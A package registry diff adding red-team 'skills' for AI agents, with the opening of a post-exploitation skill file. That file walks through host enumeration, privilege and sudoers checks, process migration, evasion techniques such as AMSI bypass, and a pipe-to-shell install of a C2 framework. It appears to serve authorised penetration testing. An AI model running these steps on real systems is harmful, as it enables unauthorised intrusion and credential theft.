rtexit-method 0.1.0 → 0.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -5
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/copy-assets.js +5 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,998 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-post-exploitation
|
|
3
|
+
description: "Post-exploitation initial discovery skill. Use immediately after gaining initial access to enumerate: local users and groups, network interfaces and routing, running processes and services, installed software, scheduled tasks, active sessions, file shares, and clipboard data. Covers both Windows (net, wmic, systeminfo) and Linux (id, ss, netstat, ps) commands. Feeds into lateral movement and privilege escalation."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-post-exploitation
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
This skill covers the critical first minutes after gaining initial access to a target host. Post-exploitation discovery is the systematic enumeration of the compromised host's local environment, identity context, network position, and running state before attempting lateral movement or privilege escalation.
|
|
11
|
+
|
|
12
|
+
The goal is to answer five questions rapidly and quietly:
|
|
13
|
+
1. Who am I and what can I do? (identity and privileges)
|
|
14
|
+
2. Where am I? (network position, domain membership)
|
|
15
|
+
3. What is running here? (processes, services, scheduled tasks)
|
|
16
|
+
4. What can I reach from here? (network topology, accessible shares, active sessions)
|
|
17
|
+
5. What is worth taking? (credentials, secrets, clipboard, files)
|
|
18
|
+
|
|
19
|
+
**When to invoke this skill:**
|
|
20
|
+
- Immediately after a shell callback is received from any initial access vector (phishing, exploit, supply chain, physical)
|
|
21
|
+
- After pivoting into a new network segment
|
|
22
|
+
- After escalating to a new user context on an already-compromised host
|
|
23
|
+
- After deploying a new implant on a host not previously enumerated
|
|
24
|
+
|
|
25
|
+
---
|
|
26
|
+
|
|
27
|
+
## Prerequisites
|
|
28
|
+
|
|
29
|
+
### Attacker-side requirements
|
|
30
|
+
- Stable shell (reverse shell, bind shell, C2 beacon, or SSH session)
|
|
31
|
+
- Minimum: low-privilege user shell
|
|
32
|
+
- Recommended: a C2 framework (Cobalt Strike, Havoc, Sliver, Metasploit) for structured output collection
|
|
33
|
+
- RTExit autodoc engine running and connected to the current engagement
|
|
34
|
+
|
|
35
|
+
### Target-side assumptions
|
|
36
|
+
- No assumption of elevated privileges at start
|
|
37
|
+
- Windows: CMD or PowerShell access (either works; both are covered below)
|
|
38
|
+
- Linux: bash shell access (sh fallback also noted)
|
|
39
|
+
|
|
40
|
+
### Tool installation (attacker machine)
|
|
41
|
+
|
|
42
|
+
```bash
|
|
43
|
+
# Sliver C2 (open source, recommended for RTExit engagements)
|
|
44
|
+
curl https://sliver.sh/install | sudo bash
|
|
45
|
+
|
|
46
|
+
# Metasploit Framework
|
|
47
|
+
sudo apt install metasploit-framework
|
|
48
|
+
|
|
49
|
+
# CrackMapExec (post-exploitation over SMB/WinRM)
|
|
50
|
+
pip3 install crackmapexec
|
|
51
|
+
|
|
52
|
+
# Impacket (Windows post-exploitation from Linux)
|
|
53
|
+
pip3 install impacket
|
|
54
|
+
|
|
55
|
+
# LinPEAS / WinPEAS (automated enumeration scripts)
|
|
56
|
+
git clone https://github.com/carlospolop/PEASS-ng.git ~/tools/PEASS-ng
|
|
57
|
+
|
|
58
|
+
# PowerView (Windows AD enumeration)
|
|
59
|
+
# Download: https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
|
|
60
|
+
|
|
61
|
+
# BloodHound + SharpHound
|
|
62
|
+
# https://github.com/BloodHoundAD/BloodHound
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
---
|
|
66
|
+
|
|
67
|
+
## Skill Levels
|
|
68
|
+
|
|
69
|
+
### BEGINNER — Manual enumeration, native tools only
|
|
70
|
+
|
|
71
|
+
At this level, you run individual commands manually, capture output by hand, and document findings in the RTExit engine manually. No custom tooling is dropped to disk. Relies entirely on LOLBins (Living Off the Land Binaries).
|
|
72
|
+
|
|
73
|
+
**Risk profile:** Low — all commands are native OS binaries.
|
|
74
|
+
|
|
75
|
+
**Recommended for:** First engagements, highly monitored environments, learning the fundamentals.
|
|
76
|
+
|
|
77
|
+
### INTERMEDIATE — Scripted enumeration, selective tool upload
|
|
78
|
+
|
|
79
|
+
At this level, you use enumeration scripts (LinPEAS, WinPEAS, PowerView) uploaded in-memory where possible. Output is parsed and fed into RTExit autodoc. You chain findings to identify quick-win privilege escalation paths.
|
|
80
|
+
|
|
81
|
+
**Risk profile:** Medium — script signatures may trigger EDR; use AMSI bypass or obfuscation.
|
|
82
|
+
|
|
83
|
+
### ADVANCED — C2-integrated, OPSEC-aware, low-noise
|
|
84
|
+
|
|
85
|
+
At this level, enumeration runs entirely through a C2 framework. Modules execute in-process (no disk writes). Sleep jitter, traffic padding, and parent process spoofing are active. Output is streamed directly to RTExit autodoc via API.
|
|
86
|
+
|
|
87
|
+
**Risk profile:** Lower than Intermediate if configured correctly — depends on C2 evasion quality.
|
|
88
|
+
|
|
89
|
+
### EXPERT — Custom implant, living-off-the-land, anti-forensics
|
|
90
|
+
|
|
91
|
+
At this level, enumeration is embedded in a custom implant with encrypted comms. Only specifically needed data is exfiltrated. Techniques include direct syscalls to avoid userland hooks, PPID spoofing, ETW patching, and AMSI bypass. Enumeration leaves minimal forensic artifacts.
|
|
92
|
+
|
|
93
|
+
**Risk profile:** Low detection — high operational complexity.
|
|
94
|
+
|
|
95
|
+
---
|
|
96
|
+
|
|
97
|
+
## Step-by-Step Workflow
|
|
98
|
+
|
|
99
|
+
### Phase 0: Establish stable access (before enumeration)
|
|
100
|
+
|
|
101
|
+
**Step 1 — Confirm shell stability**
|
|
102
|
+
|
|
103
|
+
```bash
|
|
104
|
+
# Linux: confirm interactive shell
|
|
105
|
+
python3 -c 'import pty; pty.spawn("/bin/bash")'
|
|
106
|
+
# or
|
|
107
|
+
script /dev/null -c bash
|
|
108
|
+
|
|
109
|
+
# Windows CMD: confirm execution context
|
|
110
|
+
echo %USERNAME% && echo %COMPUTERNAME% && echo %USERDOMAIN%
|
|
111
|
+
|
|
112
|
+
# Windows PowerShell: confirm execution context
|
|
113
|
+
"$env:USERNAME | $env:COMPUTERNAME | $env:USERDOMAIN"
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
**Step 2 — Migrate to a stable process (C2/Metasploit)**
|
|
117
|
+
|
|
118
|
+
```bash
|
|
119
|
+
# Metasploit: migrate to a long-lived process
|
|
120
|
+
migrate -N explorer.exe
|
|
121
|
+
migrate -N svchost.exe
|
|
122
|
+
|
|
123
|
+
# Sliver: process list then migrate
|
|
124
|
+
ps
|
|
125
|
+
migrate --pid <stable_pid>
|
|
126
|
+
```
|
|
127
|
+
|
|
128
|
+
---
|
|
129
|
+
|
|
130
|
+
### Phase 1: Identity and privilege enumeration
|
|
131
|
+
|
|
132
|
+
**Step 3 — Who am I?**
|
|
133
|
+
|
|
134
|
+
Windows CMD:
|
|
135
|
+
```cmd
|
|
136
|
+
whoami
|
|
137
|
+
whoami /all
|
|
138
|
+
whoami /priv
|
|
139
|
+
whoami /groups
|
|
140
|
+
```
|
|
141
|
+
|
|
142
|
+
Windows PowerShell:
|
|
143
|
+
```powershell
|
|
144
|
+
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Select-Object Name, Groups
|
|
145
|
+
(whoami /priv) -split "`n" | Where-Object { $_ -match "Enabled" }
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
Linux bash:
|
|
149
|
+
```bash
|
|
150
|
+
id
|
|
151
|
+
whoami
|
|
152
|
+
groups
|
|
153
|
+
cat /proc/self/status | grep -E "Uid|Gid|Groups"
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
Linux Python (fallback):
|
|
157
|
+
```python
|
|
158
|
+
import os, pwd, grp
|
|
159
|
+
print(f"UID={os.getuid()} EUID={os.geteuid()} GID={os.getgid()}")
|
|
160
|
+
print(f"User: {pwd.getpwuid(os.getuid()).pw_name}")
|
|
161
|
+
print(f"Groups: {[grp.getgrgid(g).gr_name for g in os.getgroups()]}")
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
**Step 4 — Local users and groups**
|
|
165
|
+
|
|
166
|
+
Windows CMD:
|
|
167
|
+
```cmd
|
|
168
|
+
net user
|
|
169
|
+
net localgroup
|
|
170
|
+
net localgroup Administrators
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
Windows PowerShell:
|
|
174
|
+
```powershell
|
|
175
|
+
Get-LocalUser | Select-Object Name, Enabled, LastLogon, PasswordLastSet
|
|
176
|
+
Get-LocalGroup | Select-Object Name, Description
|
|
177
|
+
Get-LocalGroupMember -Group "Administrators"
|
|
178
|
+
```
|
|
179
|
+
|
|
180
|
+
Linux bash:
|
|
181
|
+
```bash
|
|
182
|
+
cat /etc/passwd | awk -F: '{ print $1, $3, $6, $7 }'
|
|
183
|
+
cat /etc/group
|
|
184
|
+
# Users with login shells (potential lateral targets)
|
|
185
|
+
cat /etc/passwd | grep -v '/nologin\|/false' | awk -F: '{print $1, $3}'
|
|
186
|
+
# Sudoers
|
|
187
|
+
sudo -l 2>/dev/null
|
|
188
|
+
cat /etc/sudoers 2>/dev/null
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
---
|
|
192
|
+
|
|
193
|
+
### Phase 2: Network topology mapping
|
|
194
|
+
|
|
195
|
+
**Step 5 — Network interfaces and routing**
|
|
196
|
+
|
|
197
|
+
Windows CMD:
|
|
198
|
+
```cmd
|
|
199
|
+
ipconfig /all
|
|
200
|
+
route print
|
|
201
|
+
arp -a
|
|
202
|
+
netstat -ano
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
Windows PowerShell:
|
|
206
|
+
```powershell
|
|
207
|
+
Get-NetIPAddress | Select-Object InterfaceAlias, AddressFamily, IPAddress, PrefixLength
|
|
208
|
+
Get-NetRoute | Select-Object DestinationPrefix, NextHop, RouteMetric, InterfaceAlias
|
|
209
|
+
Get-NetNeighbor | Select-Object IPAddress, LinkLayerAddress, State
|
|
210
|
+
Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State, OwningProcess
|
|
211
|
+
```
|
|
212
|
+
|
|
213
|
+
Linux bash:
|
|
214
|
+
```bash
|
|
215
|
+
ip a
|
|
216
|
+
ip route
|
|
217
|
+
ip neigh
|
|
218
|
+
ss -tulpn
|
|
219
|
+
netstat -tulpn 2>/dev/null || ss -tulpn
|
|
220
|
+
cat /etc/hosts
|
|
221
|
+
cat /etc/resolv.conf
|
|
222
|
+
arp -a 2>/dev/null || ip neigh
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
Linux Python:
|
|
226
|
+
```python
|
|
227
|
+
import subprocess
|
|
228
|
+
for cmd in ['ip a', 'ip route', 'ss -tulpn', 'cat /etc/hosts', 'cat /etc/resolv.conf']:
|
|
229
|
+
print(f"\n=== {cmd} ===")
|
|
230
|
+
try:
|
|
231
|
+
print(subprocess.check_output(cmd, shell=True, text=True, stderr=subprocess.DEVNULL))
|
|
232
|
+
except Exception as e:
|
|
233
|
+
print(f"Error: {e}")
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
**Step 6 — DNS and domain membership**
|
|
237
|
+
|
|
238
|
+
Windows CMD:
|
|
239
|
+
```cmd
|
|
240
|
+
systeminfo | findstr /i "domain"
|
|
241
|
+
nslookup %USERDOMAIN%
|
|
242
|
+
ipconfig /all | findstr /i "dns"
|
|
243
|
+
```
|
|
244
|
+
|
|
245
|
+
Windows PowerShell:
|
|
246
|
+
```powershell
|
|
247
|
+
(Get-WmiObject Win32_ComputerSystem).Domain
|
|
248
|
+
Resolve-DnsName $env:USERDOMAIN -ErrorAction SilentlyContinue
|
|
249
|
+
[System.Net.Dns]::GetHostEntry($env:COMPUTERNAME)
|
|
250
|
+
```
|
|
251
|
+
|
|
252
|
+
Linux bash:
|
|
253
|
+
```bash
|
|
254
|
+
hostname -f
|
|
255
|
+
cat /etc/hostname
|
|
256
|
+
# Domain joined (SSSD/Winbind)?
|
|
257
|
+
realm list 2>/dev/null
|
|
258
|
+
wbinfo -m 2>/dev/null
|
|
259
|
+
cat /etc/krb5.conf 2>/dev/null | grep default_realm
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
---
|
|
263
|
+
|
|
264
|
+
### Phase 3: Process and service enumeration
|
|
265
|
+
|
|
266
|
+
**Step 7 — Running processes**
|
|
267
|
+
|
|
268
|
+
Windows CMD:
|
|
269
|
+
```cmd
|
|
270
|
+
tasklist /v
|
|
271
|
+
tasklist /svc
|
|
272
|
+
wmic process get Name,ProcessId,ExecutablePath,CommandLine
|
|
273
|
+
```
|
|
274
|
+
|
|
275
|
+
Windows PowerShell:
|
|
276
|
+
```powershell
|
|
277
|
+
Get-Process | Select-Object Name, Id, CPU, WorkingSet, Path | Sort-Object CPU -Descending
|
|
278
|
+
Get-WmiObject Win32_Process | Select-Object Name, ProcessId, ExecutablePath, CommandLine, ParentProcessId
|
|
279
|
+
# Identify AV/EDR processes
|
|
280
|
+
